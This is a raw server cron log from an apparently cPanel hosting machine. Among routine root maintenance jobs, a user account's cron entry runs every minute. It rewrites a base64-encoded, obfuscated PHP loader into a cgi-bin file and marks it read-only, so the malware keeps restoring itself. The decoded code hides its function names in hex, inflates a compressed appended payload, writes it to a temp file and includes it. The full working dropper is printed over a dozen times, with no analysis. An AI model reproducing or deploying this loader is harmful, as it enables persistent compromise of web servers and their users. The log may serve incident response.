Sep  9 14:02:01 server CROND[1135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:02:01 server CROND[1136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:02:01 server CROND[1137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:03:01 server CROND[1553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:03:01 server CROND[1554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:03:01 server CROND[1555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:04:01 server CROND[1928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:04:01 server CROND[1929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:04:01 server CROND[1930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:05:01 server CROND[2460]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 14:05:01 server CROND[2461]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:05:01 server CROND[2462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:05:01 server CROND[2464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:05:01 server CROND[2465]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 14:05:01 server CROND[2466]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:05:01 server CROND[2469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:05:01 server CROND[2470]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:05:01 server CROND[2467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:06:01 server CROND[3423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:06:01 server CROND[3424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:06:01 server CROND[3425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:07:01 server CROND[3810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:07:01 server CROND[3811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:07:01 server CROND[3812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:08:01 server CROND[4203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:08:01 server CROND[4204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:08:01 server CROND[4205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:09:01 server CROND[4578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:09:01 server CROND[4579]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 14:09:01 server CROND[4580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:09:01 server CROND[4588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:10:01 server CROND[4955]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:10:01 server CROND[4956]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:10:01 server CROND[4957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:10:01 server CROND[4960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:10:01 server CROND[4961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:10:01 server CROND[4959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:10:01 server CROND[4963]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:10:01 server CROND[4962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:11:01 server CROND[5871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:11:01 server CROND[5872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:11:01 server CROND[5873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:12:01 server CROND[6244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:12:01 server CROND[6245]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 14:12:01 server CROND[6247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:12:01 server CROND[6246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:13:01 server CROND[6615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:13:01 server CROND[6616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:13:01 server CROND[6617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
